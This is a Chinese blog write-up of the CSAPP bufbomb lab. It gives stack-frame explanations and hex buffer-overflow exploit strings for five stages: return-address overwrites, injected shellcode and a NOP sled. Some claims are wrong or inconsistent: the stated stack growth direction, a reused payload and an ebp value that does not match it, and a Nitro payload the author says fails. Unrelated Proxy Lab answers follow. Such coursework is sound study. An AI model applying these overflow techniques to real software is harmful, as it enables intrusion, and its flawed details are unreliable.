一文读懂CSAPP bufbomb lab

第2章 实验预习..................................................................................................... - 4 -

2.1 请按照入栈顺序,写出C语言32位环境下的栈帧结构(5分)........... - 4 -

2.2请按照入栈顺序,写出C语言62位环境下的栈帧结构(5分)............ - 4 -

第3章 各阶段漏洞攻击原理与方法..................................................................... - 5 -

3.1 Smoke阶段1的攻击与分析......................................................................... - 5 -

3.2 Fizz的攻击与分析......................................................................................... - 5 -

3.3 Bang的攻击与分析....................................................................................... - 5 -

3.4 Boom的攻击与分析....................................................................................... - 5 -

3.5 Nitro的攻击与分析...................................................................................... - 5 -

2.1 C语言32位环境下的栈帧结构

(高地址)

调用函数参数1

调用函数参数2

返回地址

调用函数ebp地址

被调用函数现场保护

被调用函数参数

esp栈顶地址

(低地址)

如上图可以看出,栈的生长方向是从低地址到高地址,调用函数是(如果有参数,会先将参数压栈,这在64位系统下不同)之后会保存调用函数的ebp地址方便之后出栈时保证一致,之后会将被调用函数使用的所有寄存器压栈进行现场保护,之后保存esp地址作为栈顶地址。事实上,往往被调用最开始的时候就是会先将ebp压栈后将esp的值赋值给ebp,之后再为被调用函数分配栈空间

2.2C语言64位环境下的栈帧结构

(高地址)

调用函数参数1(寄存器)

调用函数参数2(寄存器)

返回地址

调用函数ebp地址

被调用函数现场保护

被调用函数参数

esp栈顶地址

(低地址)

64位下和32位的栈帧结构并无太大不同,只有在传入参数的时候,会从直接栈传参变为前六个使用寄存器(rdi,rsi,rdx,rcx,r8,r9)传参,多余的或者结构体使用栈传参

2.3缓冲区溢出的原理及危害

缓冲区:是系统在进行栈空间分配时多分配的内存,这个空间中没有任何操作,而缓冲区溢出是指特地为缓冲区编写操作并使得该操作空间超出缓冲区空间,此时就会覆盖缓冲区后序的操作,一般而言,缓冲区之后是保存的ebp地址和返回地址,而往往有人会利用这个连续的地址空间控制函数返回到非法的地址(或黑客程序),造成程序运行出错。

因而缓冲区溢出危害极

第3章 各阶段漏洞攻击原理与方法

3.1 Smoke阶段1的攻击与分析

文本如下:

攻击文本:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 94 04 08

攻击成功文本:

分析过程:首先,通过分析我们可以知道真正的黑客函数是getbuf,那就先直接看这个函数的汇编代码,如下图

这里重点要看这个栈顶寄存器esp和栈帧寄存器ebp的操作,这里可以首先看见esp给整个函数分配了52个字节的空间,但显然有40个字节属于是缓冲区可以进行操作攻击。那么第一个任务需要我们最后可以跳转到smoke函数,那简单,只需要将getbuf函数最后返回地址更改为smoke函数地址就好了,但要注意这里是缓冲区溢出,当然要带上40个缓冲区,置于ebp里面的值随便,反正最后我们只需要让函数可以返回到smoke函数就可以了所有有下面的攻击字符串:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 94 04 08(注意0x08049475是地址,但写的时候遵循小段法就好了)

3.2 Fizz的攻击与分析

文本如下:

      攻击字符串:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9d 94 04 08 00 00 00 00 7b 31 43 45

      攻击结果:

分析过程:首先第二个任务相比第一任务多了一个就是要更改一个全局变量的值,这个全局变量的值是有fiz函数修改的,所以我们要做的只有将这个修改值作为参数传递出去就可以,所以甚至连fiz函数的汇编代码都不需要看,只需要关心fiz函数的地址就可以,但要注意参数的顺序,是先第二个参数,之后才是第一个参数出栈,所以从返回地址之后需要空出来4个字节第二个参数没有,之后第一个参数传递cookie值,综上所述,可以得到下面的攻击字符串:40个缓冲区+4个随便的ebp+4个fiz函数地址+4个空参数+4个返回第一个参数(cookie值):

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9d 94 04 08 00 00 00 00 7b 31 43 45

3.3 Bang的攻击与分析

文本如下:

      攻击字符串:b8 7b 31 43 45 68 c2 95 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

b0 33 68 55 68 33 68 55

       攻击结果:

分析过程:任务三和任务二本质是一样的,只不过这时候我们的全局变量不由函数改变,而是由我们编写的操作改变,这里我们如果要知道如何可以改变全局变量,那么就必须首先知道全局变量的位置,所以首先查看一下bang函数的汇编语言:

这里面可以看见明显有两个地址,bang函数首先对这两个地址的值进行了比较,显然这个比较是这个任务是否成功的关键,继续对后面分析就可以知道

0x804120里面存的是cookie值,而0x804e128里面存的是全局变量,所以操作也很明显,如下:

首先将cookie值赋值给0x804e128,当然直接的内存到内存是不被允许的,所以通过寄存器的方法进行分离。之后再将bang函数的地址压入,使得之后可以直接进入bang函数,那么就有一个问题,如何进入到这个代码中呢,答案就是通过getbuf函数的返回地址,原来返回地址都是返回到其他函数中,这里返回地址返回的是getbuf的缓冲区的首地址,ebp-0x28.这个可以通过gdb得到如下:

这里可以看到我们需要返回的地址就是0x55683368(使用小端法)。所以就可以写出bang函数的攻击字符串了:

b8 7b 31 43 45 68 c2 95 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

b0 33 68 55 68 33 68 55

3.4 Boom的攻击与分析

文本如下:

攻击字符串:b8 7b 31 43 45 68 c2 95 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

b0 33 68 55 68 33 68 55

       攻击结果:

分析过程:任务四要求无感攻击,也就是将cookie值作为参数传递之后依然可以继续原有进程而不会再跳转的函数中杀死进程。由于跳转函数是test所以先看一下test函数的汇编语言:

这个汇编语言里面可以看到,调用了getbuf函数,也就是说如果要无感攻击,必须在进行攻击后将原来的ebp还原,本身的操作十分简单,就是将cookie值赋值给eax,但为了调用这个代码,所以getbuf的返回地址仍然为任务3求出来的缓冲区首地址,而为了达到无感攻击的作用,必须在ebp这里填入原有的test调用是哦的ebp地址,这个可以通过gdb得到,如下:

这里可以得到原来的ebp是0x5568b0,所以可以得到编写的代码和缓冲区代码如下:

这个汇编代码本身非常简单,主要是要将ebp还原:

b8 7b 31 43 45 68 c2 95 04 08

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

b0 33 68 55 68 33 68 55

这里最后一行的前四个字节就是原有的ebp地址,而后面则是缓冲区的首地址

3.5 Nitro的攻击与分析

文本如下:

      攻击字符串:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8 7b 31 43 45 8d 64 24 18 68 37

96 04 08 c3 d8 31 68 55

      攻击结果;这个始终报错,但我分析了半天觉得没有啥问题,我就先说一下分析吧

分析过程:

首先任务五的启动要求必须带有-n,并且这里的任务五也会调用5次getbufn(可以理解为专门的函数),而这五次的区别就是每一次的ebp和esp地址都不同,这也是一般程序保护的手段,而我们的任务就是要求这5次每次都可以得到任务四的结果,那么本身操作,汇编代码本身不难,难的是如何每次返回到首地址呢?这里的技巧是nop-slide,也就是nop指令进行滑行,我们都知道nop指令本身没有任何意义,机器只是过一遍,ecx++,仅此而已,那这个有什么用呢?用处大了,由于每次的ebp地址无法确定,但根据任务四的经验,我们又需要每次返回的ebp-0x208(注意一下这里是0x208不是0x28了),所以干脆就将指令放在缓冲区的末尾,这样无论返回的首地址在哪,只要保证其地址一定比指令的首地址大,那么就可以通过nop滑行到指令,但我们还是必须要选出一个返回首地址,本质上都可以,但一般还是选择ebp最大的作为首地址。接下来就是复原ebp,这里不可以向原来的那样直接在ebp的地方写了,这里首先还是先看一下ebp都变成了什么:

这里只截取了三次的ebp和esp,但效果已经十分明显了。

%ebp=%esp+0x28,而这个可以直接写到指令中,这样就不需要单独在ebp

的区域中写了,所以可以得到如下汇编代码:

剩下的就用nop填充即可。

  • 34
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: CSAPP Proxy Lab是CMU计算机科学系的一项课程作业。该作业旨在通过设计和实现一个基于代理服务器的Web代理,让学生更好地理解计算机网络、操作系统和编程等方面的知识,提高他们的编程能力和问题解决能力。 在这个作业中,学生需要实现一个Web代理程序,该程序需要能够接受来自客户端的HTTP求,并将求转发到相应的Web服务器。代理程序需要能够处理HTTP求的各种类型(GET、POST、PUT等),并且需要能够处理HTTP响应的各种错误码(404、500等)。代理程序还需要支持并发处理多个HTTP求,以提高系统的效率。 在实现代理程序的过程中,学生需要掌握网络编程、多线程编程、Socket编程等技术,并且需要使用C语言实现代理程序。此外,还需要学生能够理解HTTP协议、代理服务器的工作原理以及Web应用的工作流程等相关知识。 总之,CSAPP Proxy Lab是一项非常有挑战性的作业,需要学生具备扎实的编程基础和网络知识。通过完成该作业,学生可以深入理解计算机网络、操作系统和编程等方面的知识,并提高自己的编程能力和问题解决能力。 ### 回答2: CSAPP Proxy Lab是Carnegie Mellon大学计算机科学的一项项目,旨在帮助学生深入了解计算机网络和代理服务器的工作原理以及如何开发高效的网络应用程序。 Proxy Server是一种应用程序,可以充当网络上的“中转站”,它可以通过代理服务器将客户端求转发到目标服务器端,并将响应返回给客户端。Proxy Lab的任务是实现一个HTTP代理服务器,它需要能够从客户端接收求,并将求转发到目标服务器,然后将响应发送回客户端。 实现Proxy Lab需要掌握网络编程、多线程编程、缓存设计以及HTTP协议等知识。代理服务器需要支持并发处理多个客户端求,以保证高效的网络传输。为了提高性能,代理服务器还需要对常见的网页、图片和视频进行缓存,避免重复求。 除了上述技能外,实现Proxy Lab还需要良好的编程能力和团队合作精神。在实现Proxy Lab的过程中,学生需要与队友紧密协作,及时沟通、并发同步,以确保项目的顺利进行。 总之,CSAPP Proxy Lab是一项非常有挑战性的计算机网络应用项目,不仅要求学生充分理解TCP/IP协议、HTTP协议等基本概念,还需要具备优秀的编程和团队协作能力。完成该项目不仅可以提高学生的技能,也可以为日后工作和实际应用打下良好的基础。 ### 回答3: CSAPP Proxy Lab 是一个经典的计算机科学实验,它涵盖了计算机网络知识和系统编程技能。这个实验的主要目标是构建一个基本的 Web 代理服务器,该服务器能够处理 HTTP 求,并在远程 Web 服务器上代表客户端处理这些求。 在 Proxy Lab 中,学生需要实现一个基于事件驱动的 Web 代理服务器。该服务器使用 epoll 进行事件处理,可以同时处理多个连接和求。代理服务器需要支持从客户端接收 HTTP 求,并解析求头,将求发送到远程服务器,接收响应,并将响应发送回客户端。在此过程中,代理服务器需要支持求过滤和转发,以及缓存功能。 重要的是,学生需要处理一些常见的 Web 代理挑战,例如连接重用、响应缓存、虚拟主机支持和负载均衡。通过完成 Proxy Lab 实验,学生将获得有关计算机系统编程和网络协议的深入知识,并获得实际构建 Web 代理服务器的经验。 总之,CSAPP Proxy Lab 是一个非常重要的实验,它可以帮助学生领会计算机网络和系统编程的核心概念。通过完成这个实验,学生将获得深入的理解和实践经验,从而更好地了解计算机系统和网络技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值